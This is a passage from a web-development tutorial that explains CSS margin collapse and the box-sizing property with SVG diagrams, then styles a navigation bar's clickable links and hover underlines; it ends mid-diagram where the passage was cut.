  &lt;svg width=&quot;360&quot; height=&quot;232&quot; viewBox=&quot;0 0 360 232&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M0 0h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;54&quot;&gt;.block1&lt;/tspan&gt;&lt;/text&gt;&lt;path fill=&quot;#F6A623&quot; d=&quot;M0 132h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot; transform=&quot;translate(0 132)&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;54&quot;&gt;.block2&lt;/tspan&gt;&lt;/text&gt;&lt;path stroke=&quot;#F6A623&quot; stroke-width=&quot;2&quot; stroke-dasharray=&quot;3&quot; d=&quot;M0 116h300v18H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;318&quot; y=&quot;121&quot;&gt;2 rem&lt;/tspan&gt;&lt;/text&gt;&lt;path stroke=&quot;#7ED321&quot; stroke-width=&quot;2&quot; stroke-dasharray=&quot;3&quot; d=&quot;M0 98h300v34H0z&quot;/&gt;&lt;path d=&quot;M304.083 101h9.74m-9.74 30h9.74M309 102.5v28&quot; stroke=&quot;#000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;In the event of negative margins, the sum of the positive and negative margins will be the resultant value. E.g. if the top element has a margin-bottom of 2 rem and the bottom element has a margin-top of -1 rem, the resultant margin will be 1 rem.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Parent/child elements&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Margin collapse also occurs when both the parent and child elements have vertical margins that touch. Take a look at this code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.block2 {
  width: 300px;
  height: 100px;
  background: orange;
  margin-top: 2rem;
}
.block2-1 {
  width: 268px;
  height: 50px;
  background: yellow;
  margin-top: 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&apos;d think that the margin between &lt;code&gt;.block1&lt;/code&gt; and &lt;code&gt;.block2&lt;/code&gt; will be 2 rem and there will be a margin of 1 rem between the edge of &lt;code&gt;.block2&lt;/code&gt; and the top of &lt;code&gt;.block2-1&lt;/code&gt;, right? Nope. The margins collapse into one combined margin, which again, takes the larger of the 2 values.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Again, the margin of .block2-1 is collapsed&lt;/figcaption&gt;
  &lt;svg width=&quot;360&quot; height=&quot;232&quot; viewBox=&quot;0 0 360 232&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M0 0h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;54&quot;&gt;.block1&lt;/tspan&gt;&lt;/text&gt;&lt;path fill=&quot;#F6A623&quot; d=&quot;M0 132h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot; transform=&quot;translate(0 132)&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;82&quot;&gt;.block2&lt;/tspan&gt;&lt;/text&gt;&lt;path stroke=&quot;#F6A623&quot; stroke-width=&quot;2&quot; stroke-dasharray=&quot;3&quot; d=&quot;M0 100h300v34H0z&quot;/&gt;&lt;path stroke=&quot;#F8E81C&quot; stroke-width=&quot;2&quot; stroke-dasharray=&quot;3&quot; d=&quot;M16 116h268v18H16z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;318&quot; y=&quot;121&quot;&gt;2 rem&lt;/tspan&gt;&lt;/text&gt;&lt;path d=&quot;M304.083 101h9.74M304.083 131h9.74M309 102.5v28&quot; stroke=&quot;#000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;path fill=&quot;#F8E81C&quot; d=&quot;M16 132h268v57H16z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;115&quot; y=&quot;164&quot;&gt;.block2-1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;If there was no margin on &lt;code&gt;.block2&lt;/code&gt;, and a &lt;code&gt;margin-top&lt;/code&gt; of 1 rem on the child element &lt;code&gt;.block2-1&lt;/code&gt;, then the space between &lt;code&gt;.block1&lt;/code&gt; and &lt;code&gt;.block2&lt;/code&gt; is 1 rem.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.block2 {
  width: 300px;
  height: 100px;
  background: orange;
  margin-top: 0;
}
.block2-1 {
  width: 268px;
  height: 50px;
  background: yellow;
  margin-top: 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Margin of inner div .block2-1 becomes the margin of .block2&lt;/figcaption&gt;
  &lt;svg width=&quot;367&quot; height=&quot;217&quot; viewBox=&quot;0 0 367 217&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M0 0h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;54&quot;&gt;.block1&lt;/tspan&gt;&lt;/text&gt;&lt;path fill=&quot;#F6A623&quot; d=&quot;M0 117h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot; transform=&quot;translate(0 117)&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;82&quot;&gt;.block2&lt;/tspan&gt;&lt;/text&gt;&lt;path stroke=&quot;#F8E81C&quot; stroke-width=&quot;2&quot; stroke-dasharray=&quot;3&quot; d=&quot;M16 101h268v18H16z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;325&quot; y=&quot;114&quot;&gt;1 rem&lt;/tspan&gt;&lt;/text&gt;&lt;path d=&quot;M307.083 102h9.74M307.083 117h9.74M312 103.96v12.54&quot; stroke=&quot;#000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;path fill=&quot;#F8E81C&quot; d=&quot;M16 117h268v57H16z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;115&quot; y=&quot;149&quot;&gt;.block2-1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;If you don&apos;t want margins to collapse between parent and child elements, you&apos;ll have to prevent their margins to coming in contact with each other. We can do that by adding padding or a border. Assume box-sizing has been set to &lt;code&gt;border-box&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.block2 {
  width: 300px;
  height: 100px;
  background: orange;
  margin-top: 0;
  padding: 1px;
}
.block2-1 {
  width: 268px;
  height: 50px;
  background: yellow;
  margin-top: 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
  &lt;figcaption&gt;And the collapse magically disappears&lt;/figcaption&gt;
  &lt;svg width=&quot;417&quot; height=&quot;217&quot; viewBox=&quot;0 0 417 217&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M0 0h300v100H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;54&quot;&gt;.block1&lt;/tspan&gt;&lt;/text&gt;&lt;path fill=&quot;#F6A623&quot; d=&quot;M0 99h300v118H0z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot; transform=&quot;translate(0 99)&quot;&gt;&lt;tspan x=&quot;123&quot; y=&quot;100&quot;&gt;.block2&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;325&quot; y=&quot;114&quot;&gt;1 rem + 1 px&lt;/tspan&gt;&lt;/text&gt;&lt;path d=&quot;M307.083 102h9.74M307.083 117h9.74M312 103.96v12.54&quot; stroke=&quot;#000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;path fill=&quot;#F8E81C&quot; d=&quot;M16 117h268v57H16z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;115&quot; y=&quot;149&quot;&gt;.block2-1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;Also, elements which are floated, and elements which are positioned absolutely never suffer from collapsed margins.&lt;/p&gt;
&lt;h3&gt;The box-sizing property&lt;/h3&gt;
&lt;p&gt;We also need to understand a CSS property called &lt;strong&gt;box-sizing&lt;/strong&gt;. This property alters the default box model, which affects the way your browser calculates the width and height of your elements. There are two values this property accepts: &lt;code&gt;content-box&lt;/code&gt; and &lt;code&gt;border-box&lt;/code&gt;. By default, this property is set to &lt;code&gt;content-box&lt;/code&gt;.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;For example, we have some code for a simple &lt;code&gt;div&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;div {
  margin: 10px;
  border: 1px solid green;
  padding: 10px;
  height: 100px;
  width: 100px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &lt;code&gt;div&lt;/code&gt;, by default (which means &lt;code&gt;box-sizing: content-box;&lt;/code&gt;), will have its height and width measured by &lt;strong&gt;content&lt;/strong&gt; only. Now, because it also has a border and some padding, the browser will recognise the dimensons of this &lt;code&gt;div&lt;/code&gt; as &lt;em&gt;122px&lt;/em&gt; by &lt;em&gt;122px&lt;/em&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Content-box takes the width of the &lt;strong&gt;content only&lt;/strong&gt;.&lt;/figcaption&gt;
  &lt;svg width=&quot;300&quot; height=&quot;324&quot; viewBox=&quot;0 0 300 324&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path stroke=&quot;#000&quot; stroke-dasharray=&quot;3&quot; fill=&quot;#FACD9A&quot; d=&quot;M0 0h300v300H0z&quot;/&gt;&lt;path stroke=&quot;#000&quot; fill=&quot;#FEDE97&quot; d=&quot;M30 30h240v240H30z&quot;/&gt;&lt;path stroke=&quot;#000&quot; fill=&quot;#C2D086&quot; d=&quot;M60 60h180v180H60z&quot;/&gt;&lt;path stroke=&quot;#000&quot; stroke-dasharray=&quot;3&quot; fill=&quot;#8AB5C1&quot; d=&quot;M90 90h120v120H90z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;229&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;288&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;147&quot; y=&quot;258&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;21&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;9&quot; y=&quot;21&quot;&gt;Margin&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;38&quot; y=&quot;50&quot;&gt;Border&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;69&quot; y=&quot;80&quot;&gt;Padding&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;147&quot; y=&quot;50&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;80&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;124&quot; y=&quot;155&quot;&gt;100 x 100&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;9&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;69&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;219&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;43&quot; y=&quot;155&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;253&quot; y=&quot;155&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;282&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;path d=&quot;M209 211v108M91 211v108&quot; stroke=&quot;#C40000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot; stroke-dasharray=&quot;5&quot;/&gt;&lt;path d=&quot;M95 316h110M105.8 319L95 316l10.8-3M194.2 319l10.8-3-10.8-3&quot; stroke=&quot;#C40000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;path fill=&quot;#FAFFFA&quot; d=&quot;M120 307h60v16h-60z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;128&quot; y=&quot;320&quot;&gt;100px&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;If we set a &lt;code&gt;box-sizing: border-box;&lt;/code&gt; property to it, the browser sees things a little differently. The browser will consider the width and height of the content, padding and border, to be the dimensions of this &lt;code&gt;div&lt;/code&gt;. So the width of the content box becomes &lt;em&gt;78px&lt;/em&gt; while the height of the content box becomes &lt;em&gt;78px&lt;/em&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Border-box &lt;strong&gt;includes&lt;/strong&gt; padding and border widths&lt;/figcaption&gt;
  &lt;svg width=&quot;300&quot; height=&quot;324&quot; viewBox=&quot;0 0 300 324&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path stroke=&quot;#000&quot; stroke-dasharray=&quot;3&quot; fill=&quot;#FACD9A&quot; d=&quot;M0 0h300v300H0z&quot;/&gt;&lt;path stroke=&quot;#000&quot; fill=&quot;#FEDE97&quot; d=&quot;M30 30h240v240H30z&quot;/&gt;&lt;path stroke=&quot;#000&quot; fill=&quot;#C2D086&quot; d=&quot;M60 60h180v180H60z&quot;/&gt;&lt;path stroke=&quot;#000&quot; stroke-dasharray=&quot;3&quot; fill=&quot;#8AB5C1&quot; d=&quot;M90 90h120v120H90z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;229&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;288&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;147&quot; y=&quot;258&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;21&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;9&quot; y=&quot;21&quot;&gt;Margin&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;38&quot; y=&quot;50&quot;&gt;Border&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;69&quot; y=&quot;80&quot;&gt;Padding&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;147&quot; y=&quot;50&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;144&quot; y=&quot;80&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;130&quot; y=&quot;155&quot;&gt;78 x 78&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;9&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;69&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;219&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;43&quot; y=&quot;155&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;253&quot; y=&quot;155&quot;&gt;1&lt;/tspan&gt;&lt;/text&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;282&quot; y=&quot;155&quot;&gt;10&lt;/tspan&gt;&lt;/text&gt;&lt;path d=&quot;M269 271v50M31 271v50&quot; stroke=&quot;#C40000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot; stroke-dasharray=&quot;5&quot;/&gt;&lt;path d=&quot;M35 316h230M45.8 319L35 316l10.8-3M254.2 319l10.8-3-10.8-3&quot; stroke=&quot;#C40000&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;square&quot;/&gt;&lt;path fill=&quot;#FAFFFA&quot; d=&quot;M120 307h60v16h-60z&quot;/&gt;&lt;text font-size=&quot;16&quot; fill=&quot;#000&quot;&gt;&lt;tspan x=&quot;128&quot; y=&quot;320&quot;&gt;100px&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;/figure&gt;
&lt;p&gt;Alright, now that we&apos;ve got all that covered, it&apos;s back to our scheduled programming.&lt;/p&gt;
&lt;h2&gt;Step 2: Style the navigation to match design (Attempt 2)&lt;/h2&gt;
&lt;p&gt;We want the clickable area take up the entire link box. We also need to have a delimiter that&apos;s the same height at the link text. And we want the underline to only cover the length of the text itself. Unfortunately, there&apos;s no straightforward way to do this.&lt;/p&gt;
&lt;h3&gt;Entire link box should be a clickable area&lt;/h3&gt;
&lt;p&gt;Let&apos;s try this styling thing one more time. To tackle the clickable area problem, we apply the padding to the &lt;code&gt;a&lt;/code&gt; tag instead of the &lt;code&gt;li&lt;/code&gt; like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;li {
  display: inline-block;
}
a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that &lt;code&gt;a&lt;/code&gt; elements by default are &lt;code&gt;display: inline&lt;/code&gt; and if you want the vertical padding to take, you&apos;ll have to set it to &lt;code&gt;display: block&lt;/code&gt; (you can do &lt;code&gt;display:inline-block&lt;/code&gt; too). So now the entire link box is clickable. But our underline ends up on the edge of the link box too.&lt;/p&gt;
&lt;h3&gt;Underline the link text when clickable area is hovered&lt;/h3&gt;
&lt;p&gt;To get around that problem, we&apos;ll have to wrap the link text with a &lt;code&gt;span&lt;/code&gt;. I couldn&apos;t just use the &lt;code&gt;text-decoration: underline&lt;/code&gt; property because it &amp;quot;doesn&apos;t look good&amp;quot;. Instead, a white bottom border was used instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;nav&amp;gt;
  &amp;lt;ul&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;&amp;lt;span&amp;gt;Link 1&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;&amp;lt;span&amp;gt;Link 2&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;&amp;lt;span&amp;gt;Link 3&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
    &amp;lt;li&amp;gt;
      &amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot;&amp;gt;&amp;lt;span&amp;gt;Link 4&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;
    &amp;lt;/li&amp;gt;
  &amp;lt;/ul&amp;gt;
&amp;lt;/nav&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;a {
  color: white;
  text-decoration: none;
  display: block;
  padding: 1rem;
  &amp;amp;:hover span {
    border-bottom: 2px solid white;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are advantages to this, in that there are more ways you can control the look of the underline as opposed to using text decoration. By using the &lt;code&gt;:hover&lt;/code&gt; pseudo-class, we can trigger the &lt;code&gt;span&lt;/code&gt; to display its white bottom border the moment the cursor enters the link box.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Okay, so far so good&lt;/figcaption&gt;
  &lt;svg width=&quot;370&quot; height=&quot;47&quot; viewBox=&quot;0 0 370 47&quot;&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path fill=&quot;#000&quot; d=&quot;M0 0h370v47H0z&quot;/&gt;&lt;path d=&quot;M22 27.16c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V17.48c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048H22zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6V28.6c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048H26.8c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752V28.6c0 .032-.016.048-.048.048h-1.504c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064H33.92c-.043 0-.064-.02-.064-.064V17.048c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm9.872 4.8c0 .032-.02.048-.064.048h-1.84c-.032 0-.048-.016-.048-.048v-9.6H44.8c-.032 0-.048-.02-.048-.064v-1.424c0-.043.016-.064.048-.064h2.896c.043 0 .064.02.064.064v11.088zm32.432-1.456c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V17.48c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064H81.6c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064H81.52c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6V28.6c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 0-.048-.016-.048-.048v-6.336c0-.213.04-.413.12-.6.08-.187.187-.347.32-.48s.29-.24.472-.32c.18-.08.38-.12.592-.12h-.016 2.384zm7.264 3.072c.075 0 .205.008.392.024.187.016.38.067.576.152.197.085.37.22.52.4.15.18.224.432.224.752V28.6c0 .032-.016.048-.048.048H96.24c-.032 0-.048-.016-.048-.048v-2.8c0-.213-.027-.405-.08-.576-.053-.15-.136-.285-.248-.408-.112-.123-.285-.184-.52-.184h-1.568c-.032.02-.048.043-.048.064v3.888c0 .043-.016.064-.048.064h-1.568c-.043 0-.064-.02-.064-.064V17.048c0-.032.02-.048.064-.048h1.568c.032 0 .048.016.048.048v6.32c0 .032.02.048.064.048h.752c.075 0 .16-.008.256-.024s.19-.064.28-.144c.09-.08.165-.205.224-.376.06-.17.088-.405.088-.704v-1.376c0-.032.016-.048.048-.048h1.504c.032 0 .048.016.048.048v1.776c0 .256-.035.464-.104.624-.07.16-.152.285-.248.376-.096.09-.195.152-.296.184-.1.032-.19.053-.264.064zm12.448 4.816c0 .032-.02.048-.064.048h-5.408c-.02 0-.032-.016-.032-.048V27c0-.064.01-.128.032-.192.075-.117.213-.344.416-.68.203-.336.44-.725.712-1.168.272-.443.555-.907.848-1.392.293-.485.563-.928.808-1.328.245-.4.448-.733.608-1l.24-.4c.02-.02.032-.043.032-.064v-1.824c0-.032-.016-.048-.048-.048h-1.392c-.032 0-.048.016-.048.048v2.24h-1.584v-2.224c0-.203.037-.395.112-.576.075-.18.176-.34.304-.472.128-.133.28-.24.456-.32.176-.08.37-.12.584-.12H106.928c.427 0 .77.144 1.032.432.26.288.392.635.392 1.04V21.4c0 .053-.01.1-.032.144 0 .01-.083.152-.248.424-.165.272-.373.61-.624 1.016l-.808 1.312-.808 1.32c-.25.41-.46.752-.632 1.024-.17.272-.256.413-.256.424-.02.02-.027.04-.016.056.01.016.027.024.048.024h2.064V25.4c0-.032.016-.048.048-.048h1.376c.043 0 .064.016.064.048v3.232zm32.176-1.472c.043 0 .064.02.064.064v1.344c-.02.043-.043.064-.064.064h-3.936c-.043 0-.064-.02-.064-.064V17.48c0-.032.02-.048.064-.048h1.632c.043 0 .064.016.064.048v9.632c0 .032.016.048.048.048h2.192zm2.96-6.416c.02 0 .043.016.064.048v7.792c-.02.043-.043.064-.064.064h-1.552c-.043 0-.064-.02-.064-.064v-7.792c0-.032.02-.048.064-.048h1.552zm0-3.36c.02 0 .043.016.064.048v1.584c-.02.043-.043.064-.064.064h-1.632c-.043 0-.064-.02-.064-.064v-1.584c0-.032.02-.048.064-.048h1.632zm5.664 3.36c.203 0 .397.04.584.12.187.08.347.187.48.32s.24.293.32.48c.08.187.12.387.12.6V28.6c0 .032-.016.048-.048.048H149.2c-.032 0-.048-.016-.048-.048v-6.4c0-.032-.016-.048-.048-.048h-1.92c-.032 0-.048.016-.048.048v6.4c0 .032-.016.048-.048.048h-1.584c-.032 